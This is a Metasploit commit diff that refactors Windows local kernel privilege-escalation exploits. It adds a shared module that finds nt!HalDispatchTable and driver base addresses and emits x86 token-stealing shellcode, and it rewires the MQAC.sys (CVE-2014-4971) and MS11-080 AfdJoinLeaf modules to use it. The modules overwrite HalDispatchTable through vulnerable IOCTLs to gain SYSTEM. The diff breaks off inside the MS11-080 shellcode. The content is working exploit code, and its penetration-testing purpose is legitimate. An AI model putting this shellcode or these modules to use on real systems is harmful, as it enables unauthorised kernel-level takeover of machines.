Land #3612, Windows Local Kernel exploits refactor
commit
351b687759
|
@ -0,0 +1,164 @@
|
|||
# -*- coding: binary -*-
|
||||
|
||||
module Msf
|
||||
module Exploit::Local::WindowsKernel
|
||||
include Msf::PostMixin
|
||||
include Msf::Post::Windows::Error
|
||||
|
||||
#
|
||||
# Find the address of nt!HalDispatchTable.
|
||||
#
|
||||
# @return [Integer] The address of nt!HalDispatchTable.
|
||||
# @return [nil] If the address could not be found.
|
||||
#
|
||||
def find_haldispatchtable
|
||||
kernel_address, kernel_name = find_sys_base(nil)
|
||||
if kernel_address.nil? || kernel_name.nil?
|
||||
print_error("Failed to find the address of the Windows kernel")
|
||||
return nil
|
||||
end
|
||||
vprint_status("Kernel Base Address: 0x#{kernel_address.to_s(16)}")
|
||||
|
||||
h_kernel = session.railgun.kernel32.LoadLibraryExA(kernel_name, 0, 1)
|
||||
if h_kernel['return'] == 0
|
||||
print_error("Failed to load #{kernel_name} (error: #{h_kernel['GetLastError']} #{h_kernel['ErrorMessage']})")
|
||||
return nil
|
||||
end
|
||||
h_kernel = h_kernel['return']
|
||||
|
||||
hal_dispatch_table = session.railgun.kernel32.GetProcAddress(h_kernel, 'HalDispatchTable')
|
||||
if hal_dispatch_table['return'] == 0
|
||||
print_error("Failed to retrieve the address of nt!HalDispatchTable (error: #{hal_dispatch_table['GetLastError']} #{hal_dispatch_table['ErrorMessage']})")
|
||||
return nil
|
||||
end
|
||||
hal_dispatch_table = hal_dispatch_table['return']
|
||||
|
||||
hal_dispatch_table -= h_kernel
|
||||
hal_dispatch_table += kernel_address
|
||||
vprint_status("HalDispatchTable Address: 0x#{hal_dispatch_table.to_s(16)}")
|
||||
hal_dispatch_table
|
||||
end
|
||||
|
||||
#
|
||||
# Find the load address for a device driver on the session.
|
||||
#
|
||||
# @param drvname [String, nil] The name of the module to find, otherwise the kernel
|
||||
# if this value is nil.
|
||||
# @return [Array] An array containing the base address and the located drivers name.
|
||||
# @return [nil] If the name specified could not be found.
|
||||
#
|
||||
def find_sys_base(drvname)
|
||||
if session.railgun.util.pointer_size == 8
|
||||
ptr = '<Q'
|
||||
else
|
||||
ptr = 'V'
|
||||
end
|
||||
|
||||
results = session.railgun.psapi.EnumDeviceDrivers(0, 0, session.railgun.util.pointer_size)
|
||||
unless results['return']
|
||||
print_error("EnumDeviceDrivers failed (error: #{results['GetLastError']} #{results['ErrorMessage']})")
|
||||
return nil
|
||||
end
|
||||
results = session.railgun.psapi.EnumDeviceDrivers(results['lpcbNeeded'], results['lpcbNeeded'], session.railgun.util.pointer_size)
|
||||
unless results['return']
|
||||
print_error("EnumDeviceDrivers failed (error: #{results['GetLastError']} #{results['ErrorMessage']})")
|
||||
return nil
|
||||
end
|
||||
addresses = results['lpImageBase'][0..results['lpcbNeeded'] - 1].unpack("#{ptr}*")
|
||||
|
||||
addresses.each do |address|
|
||||
results = session.railgun.psapi.GetDeviceDriverBaseNameA(address, 48, 48)
|
||||
if results['return'] == 0
|
||||
print_error("GetDeviceDriverBaseNameA failed (error: #{results['GetLastError']} #{results['ErrorMessage']})")
|
||||
return nil
|
||||
end
|
||||
current_drvname = results['lpBaseName'][0,results['return']]
|
||||
if drvname.nil?
|
||||
if current_drvname.downcase.include?('krnl')
|
||||
return address, current_drvname
|
||||
end
|
||||
elsif drvname == current_drvname
|
||||
return address, current_drvname
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
#
|
||||
# Open a device on a meterpreter session with a call to CreateFileA and return
|
||||
# the handle. Both optional parameters lpSecurityAttributes and hTemplateFile
|
||||
# are specified as nil.
|
||||
#
|
||||
# @param file_name [String] Passed to CreateFileA as the lpFileName parameter.
|
||||
# @param desired_access [String, Integer] Passed to CreateFileA as the dwDesiredAccess parameter.
|
||||
# @param share_mode [String, Integer] Passed to CreateFileA as the dwShareMode parameter.
|
||||
# @param creation_disposition [String, Integer] Passed to CreateFileA as the dwCreationDisposition parameter.
|
||||
# @param flags_and_attributes [String, Integer] Passed to CreateFileA as the dwFlagsAndAttributes parameter.
|
||||
# @return [Integer] The device handle.
|
||||
# @return [nil] If the call to CreateFileA failed.
|
||||
#
|
||||
def open_device(file_name, desired_access, share_mode, creation_disposition, flags_and_attributes = 0)
|
||||
handle = session.railgun.kernel32.CreateFileA(file_name, desired_access, share_mode, nil, creation_disposition, flags_and_attributes, nil)
|
||||
if handle['return'] == INVALID_HANDLE_VALUE
|
||||
print_error("Failed to open the #{file_name} device (error: #{handle['GetLastError']} #{handle['ErrorMessage']})")
|
||||
return nil
|
||||
end
|
||||
handle['return']
|
||||
end
|
||||
|
||||
#
|
||||
# Generate token stealing shellcode suitable for use when overwriting the
|
||||
# HaliQuerySystemInformation pointer. The shellcode preserves the edx and ebx
|
||||
# registers.
|
||||
#
|
||||
# @param target [Hash] The target information containing the offsets to _KPROCESS,
|
||||
# _TOKEN, _UPID and _APLINKS.
|
||||
# @param backup_token [Integer] An optional location to write a copy of the
|
||||
# original token to so it can be restored later.
|
||||
# @param arch [String] The architecture to return shellcode for. If this is nil,
|
||||
# the arch will be guessed from the target and then module information.
|
||||
# @return [String] The token stealing shellcode.
|
||||
# @raise [ArgumentError] If the arch is incompatible.
|
||||
#
|
||||
def token_stealing_shellcode(target, backup_token = nil, arch = nil)
|
||||
arch = target.opts['Arch'] if arch.nil? && target && target.opts['Arch']
|
||||
if arch.nil? && module_info['Arch']
|
||||
arch = module_info['Arch']
|
||||
arch = arch[0] if arch.class.to_s == 'Array' and arch.length == 1
|
||||
end
|
||||
if arch.nil?
|
||||
print_error('Can not determine the target architecture')
|
||||
fail ArgumentError, 'Invalid arch'
|
||||
end
|
||||
|
||||
tokenstealing = ''
|
||||
case arch
|
||||
when ARCH_X86
|
||||
tokenstealing << "\x52" # push edx # Save edx on the stack
|
||||
tokenstealing << "\x53" # push ebx # Save ebx on the stack
|
||||
tokenstealing << "\x33\xc0" # xor eax, eax # eax = 0
|
||||
tokenstealing << "\x64\x8b\x80\x24\x01\x00\x00" # mov eax, dword ptr fs:[eax+124h] # Retrieve ETHREAD
|
||||
tokenstealing << "\x8b\x40" + target['_KPROCESS'] # mov eax, dword ptr [eax+44h] # Retrieve _KPROCESS
|
||||
tokenstealing << "\x8b\xc8" # mov ecx, eax
|
||||
tokenstealing << "\x8b\x98" + target['_TOKEN'] + "\x00\x00\x00" # mov ebx, dword ptr [eax+0C8h] # Retrieves TOKEN
|
||||
unless backup_token.nil?
|
||||
tokenstealing << "\x89\x1d" + [backup_token].pack('V') # mov dword ptr ds:backup_token, ebx # Optionaly write a copy of the token to the address provided
|
||||
end
|
||||
tokenstealing << "\x8b\x80" + target['_APLINKS'] + "\x00\x00\x00" # mov eax, dword ptr [eax+88h] <====| # Retrieve FLINK from ActiveProcessLinks
|
||||
tokenstealing << "\x81\xe8" + target['_APLINKS'] + "\x00\x00\x00" # sub eax,88h | # Retrieve _EPROCESS Pointer from the ActiveProcessLinks
|
||||
tokenstealing << "\x81\xb8" + target['_UPID'] + "\x00\x00\x00\x04\x00\x00\x00" # cmp dword ptr [eax+84h], 4 | # Compares UniqueProcessId with 4 (The System Process on Windows XP)
|
||||
tokenstealing << "\x75\xe8" # jne 0000101e ======================
|
||||
tokenstealing << "\x8b\x90" + target['_TOKEN'] + "\x00\x00\x00" # mov edx,dword ptr [eax+0C8h] # Retrieves TOKEN and stores on EDX
|
||||
tokenstealing << "\x8b\xc1" # mov eax, ecx # Retrieves KPROCESS stored on ECX
|
||||
tokenstealing << "\x89\x90" + target['_TOKEN'] + "\x00\x00\x00" # mov dword ptr [eax+0C8h],edx # Overwrites the TOKEN for the current KPROCESS
|
||||
tokenstealing << "\x5b" # pop ebx # Restores ebx
|
||||
tokenstealing << "\x5a" # pop edx # Restores edx
|
||||
tokenstealing << "\xc2\x10" # ret 10h # Away from the kernel!
|
||||
else
|
||||
# if this is reached the issue most likely exists in the exploit module
|
||||
print_error('Unsupported arch for token stealing shellcode')
|
||||
fail ArgumentError, 'Invalid arch'
|
||||
end
|
||||
tokenstealing
|
||||
end
|
||||
end
|
||||
end
|
|
@ -2527,5 +2527,5 @@ module Msf::Post::Windows::Error
|
|||
SYSTEM_DEVICE_NOT_FOUND = 0x3BC3
|
||||
HASH_NOT_SUPPORTED = 0x3BC4
|
||||
HASH_NOT_PRESENT = 0x3BC5
|
||||
|
||||
INVALID_HANDLE_VALUE = 0xffffffff
|
||||
end
|
||||
|
|
|
@ -0,0 +1,32 @@
|
|||
# -*- coding: binary -*-
|
||||
module Rex
|
||||
module Post
|
||||
module Meterpreter
|
||||
module Extensions
|
||||
module Stdapi
|
||||
module Railgun
|
||||
module Def
|
||||
|
||||
class Def_psapi
|
||||
|
||||
def self.create_dll(dll_path = 'psapi')
|
||||
dll = DLL.new(dll_path, ApiConstants.manager)
|
||||
|
||||
dll.add_function('EnumDeviceDrivers', 'BOOL',[
|
||||
%w(PBLOB lpImageBase out),
|
||||
%w(DWORD cb in),
|
||||
%w(PDWORD lpcbNeeded out)
|
||||
])
|
||||
|
||||
dll.add_function('GetDeviceDriverBaseNameA', 'DWORD', [
|
||||
%w(LPVOID ImageBase in),
|
||||
%w(PBLOB lpBaseName out),
|
||||
%w(DWORD nSize in)
|
||||
])
|
||||
|
||||
return dll
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
end; end; end; end; end; end; end
|
|
@ -78,7 +78,8 @@ class Railgun
|
|||
'crypt32',
|
||||
'wlanapi',
|
||||
'wldap32',
|
||||
'version'
|
||||
'version',
|
||||
'psapi'
|
||||
].freeze
|
||||
|
||||
##
|
||||
|
|
|
@ -4,16 +4,16 @@
|
|||
##
|
||||
|
||||
require 'msf/core'
|
||||
require 'msf/core/exploit/local/windows_kernel'
|
||||
require 'rex'
|
||||
|
||||
class Metasploit3 < Msf::Exploit::Local
|
||||
Rank = AverageRanking
|
||||
|
||||
include Msf::Exploit::Local::WindowsKernel
|
||||
include Msf::Post::Windows::Priv
|
||||
include Msf::Post::Windows::Process
|
||||
|
||||
INVALID_HANDLE_VALUE = 0xFFFFFFFF
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'MQAC.sys Arbitrary Write Privilege Escalation',
|
||||
|
@ -41,6 +41,7 @@ class Metasploit3 < Msf::Exploit::Local
|
|||
[
|
||||
['Windows XP SP3',
|
||||
{
|
||||
'HaliQuerySystemInfo' => 0x16bba,
|
||||
'_KPROCESS' => "\x44",
|
||||
'_TOKEN' => "\xc8",
|
||||
'_UPID' => "\x84",
|
||||
|
@ -52,41 +53,13 @@ class Metasploit3 < Msf::Exploit::Local
|
|||
[
|
||||
%w(CVE 2014-4971),
|
||||
%w(EDB 34112),
|
||||
['URL', 'https://www.korelogic.com/Resources/Advisories/KL-001-2014-003.txt']
|
||||
%w(URL https://www.korelogic.com/Resources/Advisories/KL-001-2014-003.txt)
|
||||
],
|
||||
'DisclosureDate' => 'Jul 22 2014',
|
||||
'DefaultTarget' => 0
|
||||
))
|
||||
end
|
||||
|
||||
def find_sys_base(drvname)
|
||||
session.railgun.add_dll('psapi') unless session.railgun.dlls.keys.include?('psapi')
|
||||
lp_image_base = %w(PBLOB lpImageBase out)
|
||||
cb = %w(DWORD cb in)
|
||||
lpcb_needed = %w(PDWORD lpcbNeeded out)
|
||||
session.railgun.add_function('psapi', 'EnumDeviceDrivers', 'BOOL',
|
||||
[lp_image_base, cb, lpcb_needed])
|
||||
image_base = %w(LPVOID ImageBase in)
|
||||
lp_base_name = %w(PBLOB lpBaseName out)
|
||||
n_size = %w(DWORD nSize in)
|
||||
session.railgun.add_function('psapi', 'GetDeviceDriverBaseNameA', 'DWORD',
|
||||
[image_base, lp_base_name, n_size])
|
||||
results = session.railgun.psapi.EnumDeviceDrivers(4096, 1024, 4)
|
||||
addresses = results['lpImageBase'][0..results['lpcbNeeded'] - 1].unpack('L*')
|
||||
|
||||
addresses.each do |address|
|
||||
results = session.railgun.psapi.GetDeviceDriverBaseNameA(address, 48, 48)
|
||||
current_drvname = results['lpBaseName'][0..results['return'] - 1]
|
||||
if drvname.nil?
|
||||
if current_drvname.downcase.include?('krnl')
|
||||
return [address, current_drvname]
|
||||
end
|
||||
elsif drvname == results['lpBaseName'][0..results['return'] - 1]
|
||||
return [address, current_drvname]
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
# Function borrowed from smart_hashdump
|
||||
def get_system_proc
|
||||
# Make sure you got the correct SYSTEM Account Name no matter the OS Language
|
||||
|
@ -106,20 +79,9 @@ class Metasploit3 < Msf::Exploit::Local
|
|||
end
|
||||
end
|
||||
|
||||
def open_device
|
||||
handle = session.railgun.kernel32.CreateFileA('\\\\.\\MQAC',
|
||||
'FILE_SHARE_WRITE|FILE_SHARE_READ', 0, nil, 'OPEN_EXISTING', 0, nil)
|
||||
handle = handle['return']
|
||||
if handle == 0
|
||||
print_error('Failed to open the \\\\.\\MQAC device')
|
||||
return nil
|
||||
end
|
||||
handle
|
||||
end
|
||||
|
||||
def check
|
||||
handle = open_device
|
||||
if handle.nil? || handle == INVALID_HANDLE_VALUE
|
||||
handle = open_device('\\\\.\\MQAC', 'FILE_SHARE_WRITE|FILE_SHARE_READ', 0, 'OPEN_EXISTING')
|
||||
if handle.nil?
|
||||
print_error('MSMQ installation not found')
|
||||
return Exploit::CheckCode::Safe
|
||||
end
|
||||
|
@ -155,12 +117,9 @@ class Metasploit3 < Msf::Exploit::Local
|
|||
# results in a BSOD and so we should not let that happen.
|
||||
return unless check == Exploit::CheckCode::Appears
|
||||
|
||||
kernel_info = find_sys_base(nil)
|
||||
base_addr = 0xffff
|
||||
print_status("Kernel Base Address: 0x#{kernel_info[0].to_s(16)}")
|
||||
|
||||
handle = open_device
|
||||
return if handle.nil? || handle == INVALID_HANDLE_VALUE
|
||||
handle = open_device('\\\\.\\MQAC', 'FILE_SHARE_WRITE|FILE_SHARE_READ', 0, 'OPEN_EXISTING')
|
||||
return if handle.nil?
|
||||
|
||||
this_proc = session.sys.process.open
|
||||
unless this_proc.memory.writable?(base_addr)
|
||||
|
@ -175,41 +134,29 @@ class Metasploit3 < Msf::Exploit::Local
|
|||
return
|
||||
end
|
||||
|
||||
hKernel = session.railgun.kernel32.LoadLibraryExA(kernel_info[1], 0, 1)
|
||||
hKernel = hKernel['return']
|
||||
halDispatchTable = session.railgun.kernel32.GetProcAddress(hKernel,
|
||||
'HalDispatchTable')
|
||||
halDispatchTable = halDispatchTable['return']
|
||||
halDispatchTable -= hKernel
|
||||
halDispatchTable += kernel_info[0]
|
||||
print_status("HalDisPatchTable Address: 0x#{halDispatchTable.to_s(16)}")
|
||||
haldispatchtable = find_haldispatchtable
|
||||
return if haldispatchtable.nil?
|
||||
print_status("HalDisPatchTable Address: 0x#{haldispatchtable.to_s(16)}")
|
||||
|
||||
tokenstealing = "\x52" # push edx # Save edx on the stack
|
||||
tokenstealing << "\x53" # push ebx # Save ebx on the stack
|
||||
tokenstealing << "\x33\xc0" # xor eax, eax # eax = 0
|
||||
tokenstealing << "\x64\x8b\x80\x24\x01\x00\x00" # mov eax, dword ptr fs:[eax+124h] # Retrieve ETHREAD
|
||||
tokenstealing << "\x8b\x40" + target['_KPROCESS'] # mov eax, dword ptr [eax+44h] # Retrieve _KPROCESS
|
||||
tokenstealing << "\x8b\xc8" # mov ecx, eax
|
||||
tokenstealing << "\x8b\x98" + target['_TOKEN'] + "\x00\x00\x00" # mov ebx, dword ptr [eax+0C8h] # Retrieves TOKEN
|
||||
tokenstealing << "\x8b\x80" + target['_APLINKS'] + "\x00\x00\x00" # mov eax, dword ptr [eax+88h] <====| # Retrieve FLINK from ActiveProcessLinks
|
||||
tokenstealing << "\x81\xe8" + target['_APLINKS'] + "\x00\x00\x00" # sub eax,88h | # Retrieve _EPROCESS Pointer from the ActiveProcessLinks
|
||||
tokenstealing << "\x81\xb8" + target['_UPID'] + "\x00\x00\x00\x04\x00\x00\x00" # cmp dword ptr [eax+84h], 4 | # Compares UniqueProcessId with 4 (The System Process on Windows XP)
|
||||
tokenstealing << "\x75\xe8" # jne 0000101e ======================
|
||||
tokenstealing << "\x8b\x90" + target['_TOKEN'] + "\x00\x00\x00" # mov edx,dword ptr [eax+0C8h] # Retrieves TOKEN and stores on EDX
|
||||
tokenstealing << "\x8b\xc1" # mov eax, ecx # Retrieves KPROCESS stored on ECX
|
||||
tokenstealing << "\x89\x90" + target['_TOKEN'] + "\x00\x00\x00" # mov dword ptr [eax+0C8h],edx # Overwrites the TOKEN for the current KPROCESS
|
||||
tokenstealing << "\x5b" # pop ebx # Restores ebx
|
||||
tokenstealing << "\x5a" # pop edx # Restores edx
|
||||
tokenstealing << "\xc2\x10" # ret 10h # Away from the kernel!
|
||||
vprint_status('Getting the hal.dll base address...')
|
||||
hal_info = find_sys_base('hal.dll')
|
||||
fail_with(Failure::Unknown, 'Failed to disclose hal.dll base address') if hal_info.nil?
|
||||
hal_base = hal_info[0]
|
||||
vprint_good("hal.dll base address disclosed at 0x#{hal_base.to_s(16).rjust(8, '0')}")
|
||||
hali_query_system_information = hal_base + target['HaliQuerySystemInfo']
|
||||
|
||||
shellcode = make_nops(0x200) + tokenstealing
|
||||
restore_ptrs = "\x31\xc0" # xor eax, eax
|
||||
restore_ptrs << "\xb8" + [hali_query_system_information].pack('V') # mov eax, offset hal!HaliQuerySystemInformation
|
||||
restore_ptrs << "\xa3" + [haldispatchtable + 4].pack('V') # mov dword ptr [nt!HalDispatchTable+0x4], eax
|
||||
|
||||
shellcode = make_nops(0x200) + restore_ptrs + token_stealing_shellcode(target)
|
||||
this_proc.memory.write(0x1, shellcode)
|
||||
this_proc.close
|
||||
|
||||
print_status('Triggering vulnerable IOCTL')
|
||||
session.railgun.ntdll.NtDeviceIoControlFile(handle, 0, 0, 0, 4, 0x1965020f,
|
||||
1, 0x258,
|
||||
halDispatchTable + 0x4, 0)
|
||||
haldispatchtable + 4, 0)
|
||||
session.railgun.ntdll.NtQueryIntervalProfile(1337, 4)
|
||||
|
||||
unless is_system?
|
||||
|
|
|
@ -4,6 +4,7 @@
|
|||
##
|
||||
|
||||
require 'msf/core'
|
||||
require 'msf/core/exploit/local/windows_kernel'
|
||||
require 'rex'
|
||||
|
||||
class Metasploit3 < Msf::Exploit::Local
|
||||
|
@ -13,12 +14,14 @@ class Metasploit3 < Msf::Exploit::Local
|
|||
# the system process that it was injected into to die then it's also
|
||||
# possible that the system may become unstable.
|
||||
|
||||
include Msf::Exploit::Local::WindowsKernel
|
||||
include Msf::Post::Windows::Priv
|
||||
include Msf::Post::Windows::Process
|
||||
|
||||
def initialize(info={})
|
||||
def initialize(info = {})
|
||||
super(update_info(info, {
|
||||
'Name' => 'MS11-080 AfdJoinLeaf Privilege Escalation',
|
||||
'Description' => %q{
|
||||
'Name' => 'MS11-080 AfdJoinLeaf Privilege Escalation',
|
||||
'Description' => %q(
|
||||
This module exploits a flaw in the AfdJoinLeaf function of the
|
||||
afd.sys driver to overwrite data in kernel space. An address
|
||||
within the HalDispatchTable is overwritten and when triggered
|
||||
|
@ -27,25 +30,24 @@ class Metasploit3 < Msf::Exploit::Local
|
|||
This module will elevate itself to SYSTEM, then inject the payload
|
||||
into another SYSTEM process before restoring it's own token to
|
||||
avoid causing system instability.
|
||||
},
|
||||
),
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' =>
|
||||
[
|
||||
'Matteo Memelli', # original exploit and all the hard work
|
||||
'Spencer McIntyre' # MSF module
|
||||
],
|
||||
'Arch' => [ ARCH_X86 ],
|
||||
'Platform' => [ 'win' ],
|
||||
'SessionTypes' => [ 'meterpreter' ],
|
||||
'Arch' => [ARCH_X86],
|
||||
'Platform' => ['win'],
|
||||
'SessionTypes' => ['meterpreter'],
|
||||
'DefaultOptions' =>
|
||||
{
|
||||
'EXITFUNC' => 'thread',
|
||||
'EXITFUNC' => 'thread'
|
||||
},
|
||||
'Targets' =>
|
||||
'Targets' =>
|
||||
[
|
||||
[ 'Automatic', { } ],
|
||||
|
||||
[ 'Windows XP SP2 / SP3',
|
||||
['Automatic', {}],
|
||||
['Windows XP SP2 / SP3',
|
||||
{
|
||||
'HaliQuerySystemInfo' => 0x16bba,
|
||||
'HalpSetSystemInformation' => 0x19436,
|
||||
|
@ -55,8 +57,7 @@ class Metasploit3 < Msf::Exploit::Local
|
|||
'_APLINKS' => "\x88"
|
||||
}
|
||||
],
|
||||
|
||||
[ 'Windows Server 2003 SP2',
|
||||
['Windows Server 2003 SP2',
|
||||
{
|
||||
'HaliQuerySystemInfo' => 0x1fa1e,
|
||||
'HalpSetSystemInformation' => 0x21c60,
|
||||
|
@ -65,220 +66,156 @@ class Metasploit3 < Msf::Exploit::Local
|
|||
'_UPID' => "\x94",
|
||||
'_APLINKS' => "\x98"
|
||||
}
|
||||
],
|
||||
]
|
||||
],
|
||||
'References' =>
|
||||
'References' =>
|
||||
[
|
||||
[ 'CVE', '2011-2005' ],
|
||||
[ 'OSVDB', '76232' ],
|
||||
[ 'EDB', '18176' ],
|
||||
[ 'MSB', 'MS11-080' ],
|
||||
[ 'URL', 'http://www.offensive-security.com/vulndev/ms11-080-voyage-into-ring-zero/' ]
|
||||
%w(CVE 2011-2005),
|
||||
%w(OSVDB 76232),
|
||||
%w(EDB 18176),
|
||||
%w(MSB MS11-080),
|
||||
%w(URL http://www.offensive-security.com/vulndev/ms11-080-voyage-into-ring-zero/)
|
||||
],
|
||||
'DisclosureDate'=> 'Nov 30 2011',
|
||||
'DefaultTarget' => 0
|
||||
'DisclosureDate' => 'Nov 30 2011',
|
||||
'DefaultTarget' => 0
|
||||
}))
|
||||
|
||||
register_options([
|
||||
])
|
||||
|
||||
end
|
||||
|
||||
def find_sys_base(drvname)
|
||||
session.railgun.add_dll('psapi') if not session.railgun.dlls.keys.include?('psapi')
|
||||
session.railgun.add_function('psapi', 'EnumDeviceDrivers', 'BOOL', [ ["PBLOB", "lpImageBase", "out"], ["DWORD", "cb", "in"], ["PDWORD", "lpcbNeeded", "out"]])
|
||||
session.railgun.add_function('psapi', 'GetDeviceDriverBaseNameA', 'DWORD', [ ["LPVOID", "ImageBase", "in"], ["PBLOB", "lpBaseName", "out"], ["DWORD", "nSize", "in"]])
|
||||
results = session.railgun.psapi.EnumDeviceDrivers(4096, 1024, 4)
|
||||
addresses = results['lpImageBase'][0..results['lpcbNeeded'] - 1].unpack("V*")
|
||||
|
||||
addresses.each do |address|
|
||||
results = session.railgun.psapi.GetDeviceDriverBaseNameA(address, 48, 48)
|
||||
current_drvname = results['lpBaseName'][0..results['return'] - 1]
|
||||
if drvname == nil
|
||||
if current_drvname.downcase.include?('krnl')
|
||||
return [address, current_drvname]
|
||||
end
|
||||
elsif drvname == results['lpBaseName'][0..results['return'] - 1]
|
||||
return [address, current_drvname]
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
# Function borrowed from smart_hashdump
|
||||
def get_system_proc
|
||||
# Make sure you got the correct SYSTEM Account Name no matter the OS Language
|
||||
local_sys = resolve_sid("S-1-5-18")
|
||||
local_sys = resolve_sid('S-1-5-18')
|
||||
system_account_name = "#{local_sys[:domain]}\\#{local_sys[:name]}"
|
||||
|
||||
# Processes that can Blue Screen a host if migrated in to
|
||||
dangerous_processes = ["lsass.exe", "csrss.exe", "smss.exe"]
|
||||
dangerous_processes = ['lsass.exe', 'csrss.exe', 'smss.exe']
|
||||
session.sys.process.processes.each do |p|
|
||||
# Check we are not migrating to a process that can BSOD the host
|
||||
next if dangerous_processes.include?(p["name"])
|
||||
next if p["pid"] == session.sys.process.getpid
|
||||
next if p["pid"] == 4
|
||||
next if p["user"] != system_account_name
|
||||
next if dangerous_processes.include?(p['name'])
|
||||
next if p['pid'] == session.sys.process.getpid
|
||||
next if p['pid'] == 4
|
||||
next if p['user'] != system_account_name
|
||||
return p
|
||||
end
|
||||
end
|
||||
|
||||
def exploit
|
||||
if sysinfo["Architecture"] =~ /wow64/i
|
||||
print_error("Running against WOW64 is not supported")
|
||||
if sysinfo['Architecture'] =~ /wow64/i
|
||||
print_error('Running against WOW64 is not supported')
|
||||
return
|
||||
elsif sysinfo["Architecture"] =~ /x64/
|
||||
print_error("Running against 64-bit systems is not supported")
|
||||
elsif sysinfo['Architecture'] =~ /x64/
|
||||
print_error('Running against 64-bit systems is not supported')
|
||||
return
|
||||
end
|
||||
|
||||
mytarget = target
|
||||
if mytarget.name =~ /Automatic/
|
||||
os = sysinfo["OS"]
|
||||
if os =~ /windows xp/i
|
||||
mytarget = targets[1]
|
||||
end
|
||||
if ((os =~ /2003/) and (os =~ /service pack 2/i))
|
||||
mytarget = targets[2]
|
||||
end
|
||||
if ((os =~ /\.net server/i) and (os =~ /service pack 2/i))
|
||||
os = sysinfo['OS']
|
||||
mytarget = targets[1] if os =~ /windows xp/i
|
||||
mytarget = targets[2] if (os =~ /2003/) && (os =~ /service pack 2/i)
|
||||
if (os =~ /\.net server/i) && (os =~ /service pack 2/i)
|
||||
mytarget = targets[2]
|
||||
end
|
||||
|
||||
if mytarget.name =~ /Automatic/
|
||||
print_error("Could not identify the target system, it may not be supported")
|
||||
print_error('Could not identify the target system, it may not be supported')
|
||||
return
|
||||
end
|
||||
print_status("Running against #{mytarget.name}")
|
||||
end
|
||||
|
||||
if is_system?
|
||||
print_error("This meterpreter session is already running as SYSTEM")
|
||||
print_error('This meterpreter session is already running as SYSTE')
|
||||
return
|
||||
end
|
||||
|
||||
this_proc = session.sys.process.open
|
||||
kernel_info = find_sys_base(nil)
|
||||
base_addr = 0x1001
|
||||
print_status("Kernel Base Address: 0x#{kernel_info[0].to_s(16)}")
|
||||
|
||||
result = session.railgun.ws2_32.WSASocketA("AF_INET", "SOCK_STREAM", "IPPROTO_TCP", nil, nil, 0)
|
||||
result = session.railgun.ws2_32.WSASocketA('AF_INET', 'SOCK_STREAM', 'IPPROTO_TCP', nil, nil, 0)
|
||||
socket = result['return']
|
||||
|
||||
irpstuff = rand_text_alpha(8)
|
||||
irpstuff << "\x00\x00\x00\x00"
|
||||
irpstuff << rand_text_alpha(4)
|
||||
irpstuff << "\x01\x00\x00\x00"
|
||||
irpstuff << "\xe8\x00" + "4" + "\xf0\x00"
|
||||
irpstuff << "\xe8\x00\x34\xf0\x00"
|
||||
irpstuff << rand_text_alpha(231)
|
||||
|
||||
if not this_proc.memory.writable?(0x1000)
|
||||
result = session.railgun.ntdll.NtAllocateVirtualMemory(-1, [ base_addr ].pack("V"), nil, [ 0x1000 ].pack("V"), "MEM_COMMIT | MEM_RESERVE", "PAGE_EXECUTE_READWRITE")
|
||||
unless this_proc.memory.writable?(0x1000)
|
||||
session.railgun.ntdll.NtAllocateVirtualMemory(-1, [base_addr].pack('V'), nil, [0x1000].pack('V'), 'MEM_COMMIT | MEM_RESERVE', 'PAGE_EXECUTE_READWRITE')
|
||||
end
|
||||
if not this_proc.memory.writable?(0x1000)
|
||||
unless this_proc.memory.writable?(0x1000)
|
||||
print_error('Failed to properly allocate memory')
|
||||
return
|
||||
end
|
||||
this_proc.memory.write(0x1000, irpstuff)
|
||||
|
||||
hKernel = session.railgun.kernel32.LoadLibraryExA(kernel_info[1], 0, 1)
|
||||
hKernel = hKernel['return']
|
||||
halDispatchTable = session.railgun.kernel32.GetProcAddress(hKernel, "HalDispatchTable")
|
||||
halDispatchTable = halDispatchTable['return']
|
||||
halDispatchTable -= hKernel
|
||||
halDispatchTable += kernel_info[0]
|
||||
print_status("HalDisPatchTable Address: 0x#{halDispatchTable.to_s(16)}")
|
||||
haldispatchtable = find_haldispatchtable
|
||||
return if haldispatchtable.nil?
|
||||
|
||||
halbase = find_sys_base("hal.dll")[0]
|
||||
haliQuerySystemInformation = halbase + mytarget['HaliQuerySystemInfo']
|
||||
halpSetSystemInformation = halbase + mytarget['HalpSetSystemInformation']
|
||||
print_status("HaliQuerySystemInformation Address: 0x#{haliQuerySystemInformation.to_s(16)}")
|
||||
print_status("HalpSetSystemInformation Address: 0x#{halpSetSystemInformation.to_s(16)}")
|
||||
halbase = find_sys_base('hal.dll')[0]
|
||||
hal_iquerysysteminformation = halbase + mytarget['HaliQuerySystemInfo']
|
||||
hal_psetsysteminformation = halbase + mytarget['HalpSetSystemInformation']
|
||||
print_status("HaliQuerySystemInformation Address: 0x#{hal_iquerysysteminformation.to_s(16).rjust(8, '0')}")
|
||||
print_status("HalpSetSystemInformation Address: 0x#{hal_psetsysteminformation.to_s(16).rjust(8, '0')}")
|
||||
|
||||
#### Exploitation ####
|
||||
shellcode_address_dep = 0x0002071e
|
||||
shellcode_address_dep = 0x0002071e
|
||||
shellcode_address_nodep = 0x000207b8
|
||||
padding = make_nops(2)
|
||||
halDispatchTable0x4 = halDispatchTable + 0x4
|
||||
halDispatchTable0x8 = halDispatchTable + 0x8
|
||||
padding = make_nops(2)
|
||||
backup_token = 0x20900
|
||||
|
||||
restore_ptrs = "\x31\xc0"
|
||||
restore_ptrs << "\xb8" + [ halpSetSystemInformation ].pack("V")
|
||||
restore_ptrs << "\xa3" + [ halDispatchTable0x8 ].pack("V")
|
||||
restore_ptrs << "\xb8" + [ haliQuerySystemInformation ].pack("V")
|
||||
restore_ptrs << "\xa3" + [ halDispatchTable0x4 ].pack("V")
|
||||
|
||||
tokenstealing = "\x52"
|
||||
tokenstealing << "\x53"
|
||||
tokenstealing << "\x33\xc0"
|
||||
tokenstealing << "\x64\x8b\x80\x24\x01\x00\x00"
|
||||
tokenstealing << "\x8b\x40" + mytarget['_KPROCESS']
|
||||
tokenstealing << "\x8b\xc8"
|
||||
tokenstealing << "\x8b\x98" + mytarget['_TOKEN'] + "\x00\x00\x00"
|
||||
tokenstealing << "\x89\x1d\x00\x09\x02\x00"
|
||||
